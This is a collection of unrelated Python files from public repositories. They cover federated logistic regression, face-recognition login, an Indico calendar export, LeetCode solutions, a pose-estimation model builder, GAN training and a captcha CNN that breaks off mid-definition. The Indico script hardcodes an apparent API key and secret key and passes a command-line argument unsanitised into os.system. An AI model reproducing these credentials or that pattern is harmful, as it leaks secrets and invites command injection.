{}".format(json_result)) return param_protobuf_obj def export_model(self): meta_obj = self._get_meta() param_obj = self._get_param() result = { self.model_meta_name: meta_obj, self.model_param_name: param_obj } return result def _load_model(self, model_dict): result_obj = list(model_dict.get('model').values())[0].get(self.model_param_name) self.header = list(result_obj.header) # For hetero-lr arbiter predict function if self.header is None: return feature_shape = len(self.header) self.need_one_vs_rest = result_obj.need_one_vs_rest if self.need_one_vs_rest: self.one_vs_rest_classes = list(map(int, list(result_obj.one_vs_rest_classes))) weight_dict = dict(result_obj.weight) self.one_vs_rest_obj = OneVsRest(classifier=self, role=self.role, mode=self.mode, one_vs_rest_param=self._get_one_vs_rest_param()) self.one_vs_rest_obj.classes = self.one_vs_rest_classes for class_type in self.one_vs_rest_obj.classes: classifier = copy.deepcopy(self) classifier.coef_ = np.zeros(feature_shape) for i, feature_name in enumerate(self.header): feature_name = "_".join(["class", str(class_type), feature_name]) classifier.coef_[i] = weight_dict.get(feature_name) intercept_name = "_".join(["class", str(class_type), "intercept"]) classifier.intercept_ = weight_dict.get(intercept_name) self.one_vs_rest_obj.models.append(classifier) else: self.coef_ = np.zeros(feature_shape) weight_dict = dict(result_obj.weight) self.intercept_ = result_obj.intercept for idx, header_name in enumerate(self.header): self.coef_[idx] = weight_dict.get(header_name) def _abnormal_detection(self, data_instances): """ Make sure input data_instances is valid. """ abnormal_detection.empty_table_detection(data_instances) abnormal_detection.empty_feature_detection(data_instances) def update_local_model(self, fore_gradient, data_inst, coef, **training_info): """ update local model that transforms features of raw input This 'update_local_model' function serves as a handler on updating local model that transforms features of raw input into more representative features. We typically adopt neural networks as the local model, which is typically updated/trained based on stochastic gradient descent algorithm. For concrete implementation, please refer to 'hetero_dnn_logistic_regression' folder. For this particular class (i.e., 'BaseLogisticRegression') that serves as a base class for neural-networks-based hetero-logistic-regression model, the 'update_local_model' function will do nothing. In other words, no updating performed on the local model since there is no one. Parameters: ___________ :param fore_gradient: a table holding fore gradient :param data_inst: a table holding instances of raw input of guest side :param coef: coefficients of logistic regression model :param training_info: a dictionary holding training information """ pass def transform(self, data_inst): """ transform features of instances held by 'data_inst' table into more representative features This 'transform' function serves as a handler on transforming/extracting features from raw input 'data_inst' of guest. It returns a table that holds instances with transformed features. In theory, we can use any model to transform features. Particularly, we would adopt neural network models such as auto-encoder or CNN to perform the feature transformation task. For concrete implementation, please refer to 'hetero_dnn_logistic_regression' folder. For this particular class (i.e., 'BaseLogisticRegression') that serves as a base class for neural-networks-based hetero-logistic-regression model, the 'transform' function will do nothing but return whatever that has been passed to it. In other words, no feature transformation performed on the raw input of guest. Parameters: ___________ :param data_inst: a table holding instances of raw input of guest side :return: a table holding instances with transformed features """ return data_inst def cross_validation(self, data_instances): if not self.need_run: return data_instances kflod_obj = KFold() self.init_schema(data_instances) cv_param = self._get_cv_param() kflod_obj.run(cv_param, data_instances, self) LOGGER.debug("Finish kflod run") return data_instances def one_vs_rest_fit(self, train_data=None): self.need_one_vs_rest = True if self.role != consts.ARBITER: self.header = self.get_header(train_data) self.one_vs_rest_obj = OneVsRest(classifier=self, role=self.role, mode=self.mode, one_vs_rest_param=self._get_one_vs_rest_param()) self.one_vs_rest_obj.fit(data_instances=train_data) def one_vs_rest_predict(self, validate_data): if not self.one_vs_rest_obj: LOGGER.warning("Not one_vs_rest fit before, return now") return self.one_vs_rest_obj.predict(data_instances=validate_data) def _get_one_vs_rest_param(self): return self.model_param.one_vs_rest_param def _get_cv_param(self): self.model_param.cv_param.role = self.role self.model_param.cv_param.mode = self.mode return self.model_param.cv_param def set_schema(self, data_instance, header=None): if header is None: self.schema["header"] = self.header else: self.schema["header"] = header data_instance.schema = self.schema return data_instance def init_schema(self, data_instance): if data_instance is None: return self.schema = data_instance.schema self.header = self.schema.get('header')
0358e81903c9f25adf5e47fa32c43ed72879f3a9
ac60e6e0bede04f3897c2a9806d4b0909abfea31
/flaskblog/recognizer.py
34693038bff7a781dd4286b0a168f7272b2b99e4
[]
no_license
teja0508/Web-App-with-Face-Verification-Login-System
35c387becbc99e37a58d8ae858b48ac31595a6d1
6da47d7e5a15a0f32751511d2e1c99be57d0894e
refs/heads/master
2022-11-18T09:12:54.284572
2020-07-03T05:48:32
2020-07-03T05:48:32
276,817,914
0
0
null
null
null
null
UTF-8
Python
false
false
2,124
py
import face_recognition import numpy as np import cv2 import os def Recognizer(): video = cv2.VideoCapture(0) known_face_encodings = [] known_face_names = [] base_dir = os.path.dirname(os.path.abspath(__file__)) image_dir = os.path.join(base_dir, "static") image_dir = os.path.join(image_dir, "profile_pics") names = [] for root,dirs,files in os.walk(image_dir): for file in files: if file.endswith('jpg') or file.endswith('png'): path = os.path.join(root, file) img = face_recognition.load_image_file(path) # label = file[:len(file)-4] label = file if label == 'default.jpg': pass else: img_encoding = face_recognition.face_encodings(img)[0] known_face_names.append(label) known_face_encodings.append(img_encoding) face_locations = [] face_encodings = [] while True: check, frame = video.read() small_frame = cv2.resize(frame, (0,0), fx=0.5, fy= 0.5) rgb_small_frame = small_frame[:,:,::-1] face_locations = face_recognition.face_locations(rgb_small_frame) face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations) face_names = [] for face_encoding in face_encodings: matches = face_recognition.compare_faces(known_face_encodings, np.array(face_encoding), tolerance = 0.5) face_distances = face_recognition.face_distance(known_face_encodings,face_encoding) best_match_index = np.argmin(face_distances) if matches[best_match_index]: name = known_face_names[best_match_index] face_names.append(name) if name not in names: names.append(name) for (top,right,bottom,left), name in zip(face_locations, face_names): top*=2 right*=2 bottom*=2 left*=2 cv2.rectangle(frame, (left,top),(right,bottom), (0,255,0), 2) # cv2.rectangle(frame, (left, bottom - 30), (right,bottom - 30), (0,255,0), -1) # font = cv2.FONT_HERSHEY_DUPLEX # cv2.putText(frame, name, (right - int(right / 4), bottom - 10), font, 0.8, (255,255,255),1) cv2.imshow("Face Recognition Panel",frame) if cv2.waitKey(5000): break video.release() cv2.destroyAllWindows() return names
6a630ade66aaaa5fc763aabec423966dac49db2d
9908afd9f51caa50d0204f43cd658ab558694d45
/gits-find.py
3c2058e0f2adebbf1e156bad76ebca4dd6c47154
[ "MIT" ]
permissive
furas/python-git
351289b59037ec6f6ac54d3f28e50facd350e753
9ce447b05a59c31459e0005526ffc21ba5fafaca
refs/heads/master
2021-03-19T16:46:22.405785
2017-12-01T20:40:19
2017-12-01T20:40:19
101,456,771
0
0
null
null
null
null
UTF-8
Python
false
false
168
py
import os #path = os.path.expanduser('~') path = os.path.expandvars('$HOME') for root, folders, files in os.walk(path): if '.git' in folders: print(root)
fa38461ea17f79f0bbde5f9888ee3584bc8e2702
dec691f24a5a8c204c9394778d237ee83c48ac94
/indicoExport/caleventexport.py
59d30b50a8ac2defb9d87d549b165a7f64fd505e
[]
no_license
sgnoohc/login
c94eafd6bfb81224f6943cd807a455f5a48085ae
cdf3e08b721e6659e8122df46b2c08638bfde3c2
refs/heads/master
2021-01-19T23:01:12.526630
2017-09-22T16:57:45
2017-09-22T16:57:45
88,910,252
0
0
null
null
null
null
UTF-8
Python
false
false
1,693
py
#!/bin/env python # script to download from indico the ics files you want # ================================================== # code starts here # ================================================== import hashlib import hmac import urllib import time import os import sys def build_indico_request(path, params, api_key=None, secret_key=None, only_public=False, persistent=False): items = params.items() if hasattr(params, 'items') else list(params) if api_key: items.append(('apikey', api_key)) if only_public: items.append(('onlypublic', 'yes')) if secret_key: if not persistent: items.append(('timestamp', str(int(time.time())))) items = sorted(items, key=lambda x: x[0].lower()) url = '%s?%s' % (path, urllib.urlencode(items)) signature = hmac.new(secret_key, url, hashlib.sha1).hexdigest() items.append(('signature', signature)) if not items: return path return '%s?%s' % (path, urllib.urlencode(items)) if __name__ == '__main__': API_KEY = '35129c98-2ccc-4412-a331-d6a17d7de85e' # From the https://indico.cern.ch/user/api/, copy the content in the field "Token" SECRET_KEY = 'ffd7251b-7ff3-493c-953a-d389bb7ba0a6' # From the https://indico.cern.ch/user/api/, copy the content in the field "Secret" PATH = '/export/event/%s.ics'%(sys.argv[1]) PARAMS = { # 'limit': 100, # 'detail': 'sessions', # 'detail': 'sessions', # 'detail': 'events', } url = 'https://indico.cern.ch%s'%build_indico_request(PATH, PARAMS, API_KEY, SECRET_KEY) command = "curl -s -o event.ics -O '%s' "%(url) print command os.system(command) #eof
64a06d470324e94d64463a563523ac3a6ac06c6d
2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae
/python/python_17875.py
a7950a107ba5299ae21ee4ebd6c75aaada1327c8
[]
no_license
AK-1121/code_extraction
cc812b6832b112e3ffcc2bb7eb4237fd85c88c01
5297a4a3aab3bb37efa24a89636935da04a1f8b6
refs/heads/master
2020-05-23T08:04:11.789141
2015-10-22T19:19:40
2015-10-22T19:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
78
py
# Python Matplotlib: Change Colorbar Tick Width CB.lines[0].set_linewidth(10)
81aa2ee36e3ae549fea5d72bdca67d1626f824c9
fbf254edbd7af1f83e074ac6b574442d32b57b9d
/leetcodeProblems/gas_station.py
3fc728f7e31a4829b05c81044f5652344d6da79c
[]
no_license
Madhivarman/DataStructures
cc55456d2dc7d276d364c67f3c0b74f6e0ac3a6e
f42d71c7c404c72a31b69d37e459f7d7ae9bfe25
refs/heads/master
2022-05-08T18:18:29.910621
2022-03-28T07:24:55
2022-03-28T07:24:55
133,028,620
4
0
null
2019-11-23T14:58:16
2018-05-11T10:57:04
Python
UTF-8
Python
false
false
1,063
py
""" Problem Statement: There are N gas stations along a circular route, where the amount of gas at station i is gas[i]. You have a car with an unlimited gas tank and it costs cost[i] of gas to travel from station i to its next station (i+1). You begin the journey with an empty tank at one of the gas stations. Return the starting gas station's index if you can travel around the circuit once in the clockwise direction, otherwise return -1. Note: If there exists a solution, it is guaranteed to be unique. Both input arrays are non-empty and have the same length. Each element in the input arrays is a non-negative integer. """ class Solution: def canCompleteCircuit(self, gas, cost): gas_tank, start_station = 0, 0 if sum(gas) < sum(cost): return -1 for i in range(len(gas)): gas_tank += gas[i] - cost[i] if gas_tank < 0: start_station = i + 1 gas_tank = 0 return start_station
8a0d2a0618ff00ce1f4cd0197b13da15959da76a
2f63688febd21dc3ae6b19abfa79ad313c820154
/1368_Minimum_Cost_to_Make_at_Least_One_Valid_Path_in_a_Grid/try_2.py
dd920daca99b0c539180370abf6f9d628c951810
[]
no_license
novayo/LeetCode
cadd03587ee4ed6e35f60294070165afc1539ac8
54d0b3c237e0ffed8782915d6b75b7c6a0fe0de7
refs/heads/master
2023-08-14T00:35:15.528520
2023-07-30T05:56:05
2023-07-30T05:56:05
200,248,146
8
1
null
2022-11-19T04:37:54
2019-08-02T14:24:19
Python
UTF-8
Python
false
false
1,748
py
class Solution: def minCost(self, grid: List[List[int]]) -> int: ''' 每一次挑cost最小 & (目前離終點的直線距離最小 => 自己實踐heap去比較) => 每個點都可以,要換or不換 但可能會走到重複的點 => 用dict存起來,若cost比較小,才能放進去heap (每次取出來之前也去比較一次) ''' def getPos(x, y, move): if move == 1: y += 1 elif move == 2: y -= 1 elif move == 3: x += 1 else: x -= 1 return x, y def heuristic(i, j, cost): return cost*0.1 + i + j height = len(grid) width = len(grid[0]) table = collections.defaultdict(lambda: float('inf')) heap = [(heuristic(0, 0, 0), 0, 0, 0)] while heap: h, cost, i, j = heapq.heappop(heap) if i == height-1 and j == width-1: return cost # 拿出來之後先比較一次 if h >= table[i, j]: continue else: table[i, j] = h for move in range(1, 5): x, y = getPos(i, j, move) if 0 <= x < height and 0 <= y < width and table[x, y] > heuristic(cost, x, y): if move == grid[i][j]: heapq.heappush(heap, (heuristic(cost, x, y), cost, x, y)) else: heapq.heappush(heap, (heuristic(cost+1, x, y), cost+1, x, y)) return -1
282061daa67fa2c6724f19e0f19560f2cfe09b3a
24eff244d3a5327d79ae6244f748b7689c43ad5e
/tfmodules/model/model_builder.py
29daaddfe4778d8ba8b1a4edacea3ff7ba83bf60
[ "Apache-2.0" ]
permissive
motlabs/dont-be-turtle
e41a3d532169abdf2cf89dca9067c50da7ba08e8
bd754736ea6caa3ccd58866657d97112f4bcf1cf
refs/heads/develop
2022-12-12T12:22:20.770696
2018-12-02T15:16:40
2018-12-02T15:16:40
129,588,368
33
5
Apache-2.0
2022-11-22T02:48:39
2018-04-15T07:47:18
Python
UTF-8
Python
false
false
6,184
py
# Copyright 2018 Jaewook Kang ([email protected]) # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =================================================================================== # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from hourglass_layer import get_hourglass_layer from reception_layer import get_reception_layer from supervision_layer import get_supervision_layer from output_layer import get_output_layer def get_model(ch_in,model_config,scope=None): ''' ch_in (256x256x3) --> reception layer (64x64x256) --> hourglass layer (64x64x256) --> output layer (64x64x3) --> loss ''' net = ch_in end_points = {} orig_scope = scope with tf.variable_scope(name_or_scope=scope,default_name='model',values=[ch_in]) as sc: scope = 'reception' tf.logging.info('-----------------------------------------------------------') tf.logging.info('[model_builder] model in shape=%s' % ch_in.get_shape().as_list() ) with tf.variable_scope(name_or_scope=scope, default_name='reception', values=[net]): net,end_points_recept, _= get_layer(ch_in = net, model_config = model_config.rc_config, layer_type = scope) end_points.update(end_points_recept) tf.logging.info('[model_builder] reception out shape=%s' % net.get_shape().as_list() ) scope = 'stacked_hg' intermediate_heatmaps = [] with tf.variable_scope(name_or_scope=scope, default_name='stacked_hg', values=[net]): for stacking_index in range(0,model_config.num_of_hgstacking): shorcut = net # hourglass layer net, end_points_hg, _ = get_layer(ch_in = net, model_config = model_config.hg_config, layer_index = stacking_index, layer_type = 'hourglass') end_points.update(end_points_hg) tf.logging.info('[model_builder] hourglass%d out shape=%s' % (stacking_index, net.get_shape().as_list())) if stacking_index < model_config.num_of_hgstacking - 1: # supervision layer net, end_points_sv,heatmaps = get_layer(ch_in = net, model_config = model_config.sv_config, layer_index = stacking_index, layer_type = 'supervision') end_points.update(end_points_sv) tf.logging.info('[model_builder] supervision%d out shape=%s' % (stacking_index, net.get_shape().as_list())) # intermediate heatmap save intermediate_heatmaps.append(heatmaps) # shortcut sum net = tf.add(x=net, y=shorcut, name= 'shortcut_sum' + str(stacking_index)) # output layer scope = 'output' with tf.variable_scope(name_or_scope=scope, default_name='output', values=[net]): net, end_point_out, _ = get_layer(ch_in = net, model_config = model_config.out_config, layer_type = scope) end_points.update(end_point_out) tf.logging.info('[model_builder] model out shape=%s' % net.get_shape().as_list()) tf.logging.info('-----------------------------------------------------------') out = tf.identity(input=net, name= sc.name + '_out') end_points[sc.name + '_out'] = out end_points[sc.name + '_in'] = ch_in tf.logging.info('[model_builder] building hg model complete') return out, intermediate_heatmaps, end_points def get_layer(ch_in, model_config, layer_index=0, layer_type='hourglass'): net = ch_in end_points = {} heatmaps_out = None if layer_type == 'hourglass': net, end_points = get_hourglass_layer(ch_in=net, model_config=model_config, layer_index=layer_index, scope=layer_type) elif layer_type is 'supervision': net, end_points, heatmaps_out = get_supervision_layer(ch_in=net, model_config=model_config, layer_index=layer_index, scope=layer_type) elif layer_type is 'reception': net, end_points = get_reception_layer(ch_in=net, model_config=model_config, scope=layer_type) elif layer_type is 'output': net, end_points = get_output_layer(ch_in=net, model_config=model_config, scope=layer_type) return net, end_points, heatmaps_out
282c6ac2179d429b7507c40c91175dbe93cb62fa
833d860e5bf77053a74d370d539dfc9a57922b0a
/main_lazy_hlt.py
5a81980dd7e52a8dd0d7db35d1c4258cbbb22829
[]
no_license
ydnaandy123/2018_cvpr_gan
4da9693c9bb53fec97165292d8a40af31a45bf2b
45a0ae757cba244a1f2e4c212d3b19475f82faff
refs/heads/master
2021-08-15T03:54:52.891925
2017-11-17T08:59:44
2017-11-17T08:59:44
107,197,010
0
0
null
null
null
null
UTF-8
Python
false
false
14,229
py
from __future__ import print_function from dataset_parser import GANParser, ImagePool from module import * import time flags = tf.flags.FLAGS tf.flags.DEFINE_integer("image_height", 256, "image target height") tf.flags.DEFINE_integer("image_width", 256, "image target width") tf.flags.DEFINE_integer("c_in_dim", 3, "input image color channel") tf.flags.DEFINE_integer("c_out_dim", 1, "output image color channel") tf.flags.DEFINE_integer("gf_dim", 64, "# of gen filters in first conv layer") tf.flags.DEFINE_integer("df_dim", 64, "# of dis filters in first conv layer") tf.flags.DEFINE_integer("batch_size", 1, "batch size for training") tf.flags.DEFINE_integer("pool_size", 50, "max size for image pooling") tf.flags.DEFINE_float("learning_rate", 0.0001, "Learning rate for Adam Optimizer") tf.flags.DEFINE_float("beta1", 0.5, "Momentum term of adam [0.5]") tf.flags.DEFINE_float("beta2", 0.9, "Momentum term of adam [0.9999]") tf.flags.DEFINE_float("lambda_gp", 10.0, "Gradient penalty lambda hyper parameter [10.0]") tf.flags.DEFINE_float("lambda_rec", 10.0, "Cycle lambda hyper parameter [10.0]") tf.flags.DEFINE_integer("num_epochs", 200, "number of epochs for training") tf.flags.DEFINE_integer("num_epochs_decay", 100, "number of epochs to decay learning rate") tf.flags.DEFINE_boolean('debug', True, "Is debug mode or not") tf.flags.DEFINE_string('mode', "train", "Mode train/ test-dev/ test") tf.flags.DEFINE_string('dataset_dir', "./dataset/ori2hlt", "directory of the dataset") tf.flags.DEFINE_integer('save_freq', 1000, "save a model every save_freq iterations") tf.flags.DEFINE_integer('log_freq', 10, "log a model every log_freq iterations") tf.flags.DEFINE_integer('observe_freq', 400, "observe training image every observe_freq iterations") tf.flags.DEFINE_integer('valid_freq', 200, "valid a model every valid_freq iterations") tf.flags.DEFINE_integer('valid_num', 20, "num of images for each validation") def main(args=None): print(args) tf.reset_default_graph() """ Read dataset parser """ flags.network_name = args[0].split('/')[-1].split('.')[0].split('main_')[-1] flags.logs_dir = './logs_' + flags.network_name dataset_parser = GANParser(dataset_dir=flags.dataset_dir, flags=flags) """ Transform data to TFRecord format (Only do once.) """ if False: dataset_parser.load_paths(is_jpg=True, load_val=True) dataset_parser.data2record(name='{}_train.tfrecords'.format(dataset_parser.dataset_name), set_type='train', test_num=None) dataset_parser.data2record(name='{}_val.tfrecords'.format(dataset_parser.dataset_name), set_type='val', test_num=None) # coco_parser.data2record_test(name='coco_stuff2017_test-dev_all_label.tfrecords', is_dev=True, test_num=None) # coco_parser.data2record_test(name='coco_stuff2017_test_all_label.tfrecords', is_dev=False, test_num=None) return """ Input (TFRecord) """ with tf.variable_scope('TFRecord'): # DatasetA training_a_dataset = dataset_parser.tfrecord_get_dataset( name='{}_trainA.tfrecords'.format(dataset_parser.dataset_name), batch_size=flags.batch_size, shuffle_size=None) val_a_dataset = dataset_parser.tfrecord_get_dataset( name='{}_valA.tfrecords'.format(dataset_parser.dataset_name), batch_size=flags.batch_size) # DatasetB training_b_dataset = dataset_parser.tfrecord_get_dataset( name='{}_trainB.tfrecords'.format(dataset_parser.dataset_name), batch_size=flags.batch_size, shuffle_size=None) val_b_dataset = dataset_parser.tfrecord_get_dataset( name='{}_valB.tfrecords'.format(dataset_parser.dataset_name), batch_size=flags.batch_size) # A feed-able iterator with tf.variable_scope('RealA'): handle_a = tf.placeholder(tf.string, shape=[]) iterator_a = tf.contrib.data.Iterator.from_string_handle( handle_a, training_a_dataset.output_types, training_a_dataset.output_shapes) real_a = iterator_a.get_next() with tf.variable_scope('RealB'): handle_b = tf.placeholder(tf.string, shape=[]) iterator_b = tf.contrib.data.Iterator.from_string_handle( handle_b, training_b_dataset.output_types, training_b_dataset.output_shapes) real_b = iterator_b.get_next() with tf.variable_scope('InitialA_op'): training_a_iterator = training_a_dataset.make_initializable_iterator() validation_a_iterator = val_a_dataset.make_initializable_iterator() with tf.variable_scope('InitialB_op'): training_b_iterator = training_b_dataset.make_initializable_iterator() validation_b_iterator = val_b_dataset.make_initializable_iterator() """ Network (Computes predictions from the inference model) """ with tf.variable_scope('Network'): # Input global_step = tf.Variable(0, trainable=False, name='global_step', dtype=tf.int32) global_step_update_op = tf.assign_add(global_step, 1, name='global_step_update_op') learning_rate = tf.placeholder(tf.float32, name="learning_rate") # is_training = tf.placeholder(tf.bool, name="is_training") # drop_probability = tf.placeholder(tf.float32, name="drop_probability") # fake_a_pool = tf.placeholder(tf.float32, shape=[None, None, None, 3], name='fake_A_pool') fake_b_pool = tf.placeholder(tf.float32, shape=[None, None, None, 3], name='fake_B_pool') # A -> B adjusted_a = high_light(real_a, name='high_light') # adjusted_a = gaussian_blur(real_a, name='gaussian_blur') segment_a = generator_resnet_lazy(real_a, flags, False, name="Generator_A2B") # TODO : gp, argmax? with tf.variable_scope('Fake_B'): foreground = tf.multiply(real_a, segment_a, name='foreground') background = tf.multiply(adjusted_a, (1 - segment_a), name='background') fake_b = tf.add(foreground, background, name='fake_b') # dis_fake_b = discriminator_wgangp(fake_b, flags, reuse=False, name="Discriminator_B") # dis_fake_b_pool = discriminator_wgangp(fake_b_pool, flags, reuse=True, name="Discriminator_B") # dis_real_b = discriminator_wgangp(real_b, flags, reuse=True, name="Discriminator_B") fake_b_f, fake_b_pool_f, real_b_f = \ tf.reshape(fake_b, [-1]), tf.reshape(fake_b_pool, [-1]), tf.reshape(real_b, [-1]) dis_fake_b = discriminator_wgangp(fake_b_f, flags, reuse=False, name="Discriminator_B") dis_fake_b_pool = discriminator_wgangp(fake_b_pool_f, flags, reuse=True, name="Discriminator_B") dis_real_b = discriminator_wgangp(real_b_f, flags, reuse=True, name="Discriminator_B") with tf.name_scope('loss_gen_a2b'): # loss_gen_a2b = mae_criterion(dis_fake_b, tf.ones_like(dis_fake_b), name='adv') loss_gen_a2b = -tf.reduce_mean(dis_fake_b) with tf.name_scope('loss_dis_b'): # loss_dis_b_adv_real = mae_criterion(dis_real_b, tf.ones_like(dis_real_b), name='adv_real') # loss_dis_b_adv_fake = mae_criterion(dis_fake_b_pool, tf.zeros_like(dis_fake_b_pool), name='adv_fake') # loss_dis_b = loss_dis_b_adv_real + loss_dis_b_adv_fake loss_dis_b_adv_real = -tf.reduce_mean(dis_real_b) loss_dis_b_adv_fake = tf.reduce_mean(dis_fake_b_pool) loss_dis_b = tf.reduce_mean(dis_fake_b_pool) - tf.reduce_mean(dis_real_b) with tf.name_scope('wgan-gp'): alpha = tf.random_uniform( shape=[1, 1], minval=0., maxval=1. ) differences = fake_b_pool_f - real_b_f interpolates = real_b_f + (alpha * differences) gradients = tf.gradients( discriminator_wgangp(interpolates, flags, reuse=True, name="Discriminator_B"), [interpolates])[0] slopes = tf.sqrt(tf.reduce_sum(tf.square(gradients), reduction_indices=[1])) gradient_penalty = tf.reduce_mean((slopes - 1.) ** 2) loss_dis_b += flags.lambda_gp * gradient_penalty trainable_var_gen_a2b = tf.get_collection( key=tf.GraphKeys.TRAINABLE_VARIABLES, scope='Network/Generator_A2B') trainable_var_dis_b = tf.get_collection( key=tf.GraphKeys.TRAINABLE_VARIABLES, scope='Network/Discriminator_B') train_op_gen_a2b = train_op(loss_gen_a2b, learning_rate, flags, trainable_var_gen_a2b, name='gen_a2b') train_op_dis_b = train_op(loss_dis_b, learning_rate, flags, trainable_var_dis_b, name='dis_b') saver = tf.train.Saver(max_to_keep=2) # Graph Logs with tf.variable_scope('GEN_a2b'): tf.summary.scalar("loss/gen_a2b/all", loss_gen_a2b) with tf.variable_scope('DIS_b'): tf.summary.scalar("loss/dis_b/all", loss_dis_b) tf.summary.scalar("loss/dis_b/adv_real", loss_dis_b_adv_real) tf.summary.scalar("loss/dis_b/adv_fake", loss_dis_b_adv_fake) summary_op = tf.summary.merge_all() # Graph Logs """ Session """ tfconfig = tf.ConfigProto(allow_soft_placement=True) tfconfig.gpu_options.allow_growth = True with tf.Session(config=tfconfig) as sess: with tf.variable_scope('Initial'): ckpt = tf.train.get_checkpoint_state(dataset_parser.checkpoint_dir) if ckpt and ckpt.model_checkpoint_path: print("Model restored: {}".format(ckpt.model_checkpoint_path)) saver.restore(sess, ckpt.model_checkpoint_path) else: print("No Model found.") init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer()) sess.run(init_op) summary_writer = tf.summary.FileWriter(dataset_parser.logs_dir, sess.graph) """ Training Mode """ if flags.mode == 'train': print('Training mode! Batch size:{:d}'.format(flags.batch_size)) with tf.variable_scope('Input_port'): training_a_handle = sess.run(training_a_iterator.string_handle()) val_a_handle = sess.run(validation_a_iterator.string_handle()) training_b_handle = sess.run(training_b_iterator.string_handle()) val_b_handle = sess.run(validation_b_iterator.string_handle()) image_pool_a, image_pool_b = ImagePool(flags.pool_size), ImagePool(flags.pool_size) print('Start Training!') start_time = time.time() global_step_sess = sess.run(global_step) for epoch in range(flags.num_epochs): sess.run([training_a_iterator.initializer, training_b_iterator.initializer]) learning_rate_sess = flags.learning_rate if epoch < flags.num_epochs_decay\ else flags.learning_rate*(flags.num_epochs-epoch)/(flags.num_epochs-flags.num_epochs_decay) feed_dict_train = {learning_rate: learning_rate_sess, handle_a: training_a_handle, handle_b: training_b_handle} # feed_dict_valid = {is_training: False} while True: try: print('epoch:[{:d}/{:d}], global step:{:d}, learning rate:{:f}, time:{:4.4f}'.format( epoch, flags.num_epochs, global_step_sess, learning_rate_sess, time.time() - start_time)) # Update gen_A2B _, fake_b_sess, = sess.run([train_op_gen_a2b, fake_b], feed_dict=feed_dict_train) # Update dis_B fake_b_pool_query = image_pool_b.query(fake_b_sess) _ = sess.run(train_op_dis_b, feed_dict={ learning_rate: learning_rate_sess, fake_b_pool: fake_b_pool_query, handle_b: training_b_handle}) global_step_sess += 1 sess.run(global_step_update_op) # Logging the events if global_step_sess % flags.log_freq == 1: print('Logging the events') summary_op_sess = sess.run(summary_op, feed_dict={ handle_a: training_a_handle, handle_b: training_b_handle, fake_b_pool: fake_b_pool_query}) summary_writer.add_summary(summary_op_sess, global_step_sess) # summary_writer.flush() # Observe training situation (For debugging.) if flags.debug and global_step_sess % flags.observe_freq == 1: real_a_sess, real_b_sess, adjusted_a_sess, segment_a_sess, fake_b_sess = \ sess.run([real_a, real_b, adjusted_a, segment_a, fake_b], feed_dict={handle_a: training_a_handle, handle_b: training_b_handle}) print('Logging training images.') dataset_parser.visualize_data( real_a=real_a_sess, real_b=real_b_sess, adjusted_a=adjusted_a_sess, segment_a=segment_a_sess, fake_b=fake_b_sess, shape=(1, 1), global_step=global_step_sess, logs_dir=dataset_parser.logs_image_train_dir) """ Saving the checkpoint """ if global_step_sess % flags.save_freq == 0: print('Saving model...') saver.save(sess, dataset_parser.checkpoint_dir + '/model.ckpt', global_step=global_step) except tf.errors.OutOfRangeError: print('----------------One epochs finished!----------------') break if __name__ == "__main__": tf.app.run()
54042e605d4159be51f3d8d5a562382eb272bac9
ab5731ae6e190a9b44b1cddbd11af89277302de9
/deepLN/captcha/baidu_contest/cnn_jisuanshi_0.8_rnn.py
a3e40beb07bee63f4c426649649d1a3b45677e85
[]
no_license
MachineLP/py_workSpace
e532781aab51c54a87602c387acd3199f9a75140
7937f3706e8d2d8a0e25ba0648bee6d1fcb27234
refs/heads/master
2021-08-29T02:56:02.415509
2021-08-23T10:38:59
2021-08-23T10:38:59
117,516,956
22
18
null
null
null
null
UTF-8
Python
false
false
11,037
py
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Created on Wed Jul 19 12:06:49 2017 @author: liupeng """ import numpy as np import tensorflow as tf import argparse import os from PIL import Image FLAGS = None # 图像大小 IMAGE_HEIGHT = 70 IMAGE_WIDTH = 500 batch_size = 64 lex = ['?','0','1','2','3','4','5','6','7','8','9','+','-','*','/','=','(',')','$','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','_'] CHAR_SET_LEN = len(lex) MAX_CAPTCHA = 30 print("验证码文本最长字符数", MAX_CAPTCHA) # 验证码最长4字符; 我全部固定为4,可以不固定. 如果验证码长度小于4,用'_'补齐 def read_image(file_queue): reader = tf.TFRecordReader() key, value = reader.read(file_queue) _, serialized_example = reader.read(file_queue) features = tf.parse_single_example( serialized_example, features={ 'img': tf.FixedLenFeature([], tf.string), 'label': tf.FixedLenFeature([], tf.string), }) image = tf.decode_raw(features['img'], tf.uint8) image = tf.reshape(image, [IMAGE_HEIGHT*IMAGE_WIDTH]) image = (tf.cast(image, tf.float32) - 127.5) / 127.5 label = tf.decode_raw(features['label'], tf.float64) label = tf.reshape(label, [MAX_CAPTCHA*CHAR_SET_LEN]) label = tf.cast(label, tf.float32) return image, label def read_image_batch(file_queue, batchsize): img, label = read_image(file_queue) min_after_dequeue = 1000 capacity = min_after_dequeue + 3 * batchsize image_batch, label_batch = tf.train.shuffle_batch([img, label], batch_size=batchsize, capacity=capacity, min_after_dequeue=min_after_dequeue) one_hot_labels = tf.to_float(label_batch) return image_batch, one_hot_labels X = tf.placeholder(tf.float32, [None, IMAGE_HEIGHT*IMAGE_WIDTH]) Y = tf.placeholder(tf.float32, [None, MAX_CAPTCHA*CHAR_SET_LEN]) keep_prob = tf.placeholder(tf.float32) # dropout keep_prob_fc = tf.placeholder(tf.float32) # dropout # 定义CNN def crack_captcha_cnn(w_alpha=0.01, b_alpha=0.1): x = tf.reshape(X, shape=[-1, IMAGE_HEIGHT, IMAGE_WIDTH, 1]) # w_c1 = tf.Variable(w_alpha*tf.random_normal([3, 3, 1, 32])) ''' ---1---''' w_c1 = tf.get_variable( name='W1', shape=[3, 3, 1, 32], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c1 = tf.Variable(b_alpha*tf.random_normal([32])) conv1 = 